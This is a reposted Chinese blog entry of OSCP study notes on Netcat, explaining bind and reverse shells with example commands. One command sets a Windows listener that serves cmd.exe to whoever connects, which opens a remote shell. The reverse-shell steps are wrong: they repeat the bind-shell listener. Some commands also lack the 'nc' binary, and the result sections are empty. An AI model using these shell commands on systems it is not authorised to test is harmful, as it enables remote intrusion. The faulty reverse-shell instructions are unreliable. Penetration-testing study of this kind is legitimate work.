OSCP Learning Notes - Netcat

博客主要介绍了Netcat,包括通过监听进行连接,涉及Bind Shell和Reverse Shell。Bind Shell是攻击者连接监听端口的受害者,Reverse Shell是受害者连接监听端口的攻击者,还给出了在Windows和Kali的nc工具上的基本使用示例及结果。

Introduction to Netcat

  • Connecting va Listening
  • Bind Shells
    • Attacker connects to victim on listening port
  • Reverse Shells
    • Victim connects to attacker on listening port

Basic usage:

nc -nv IP Port

Bind Shell:

 1.On the Windows nc tool.

-nvlp 4444 -e cmd.exe

2. On the Kali nc tool.

nc -nv 10.0.0.16 4444

3.Result

 Reverse Shells

1.On the Kali nc tool.

nc -nvlp 4444

2.On the Windows nc tool.

-nvlp 4444 -e cmd.exe

3. Result

 

转载于:https://www.cnblogs.com/keepmoving1113/p/11073628.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值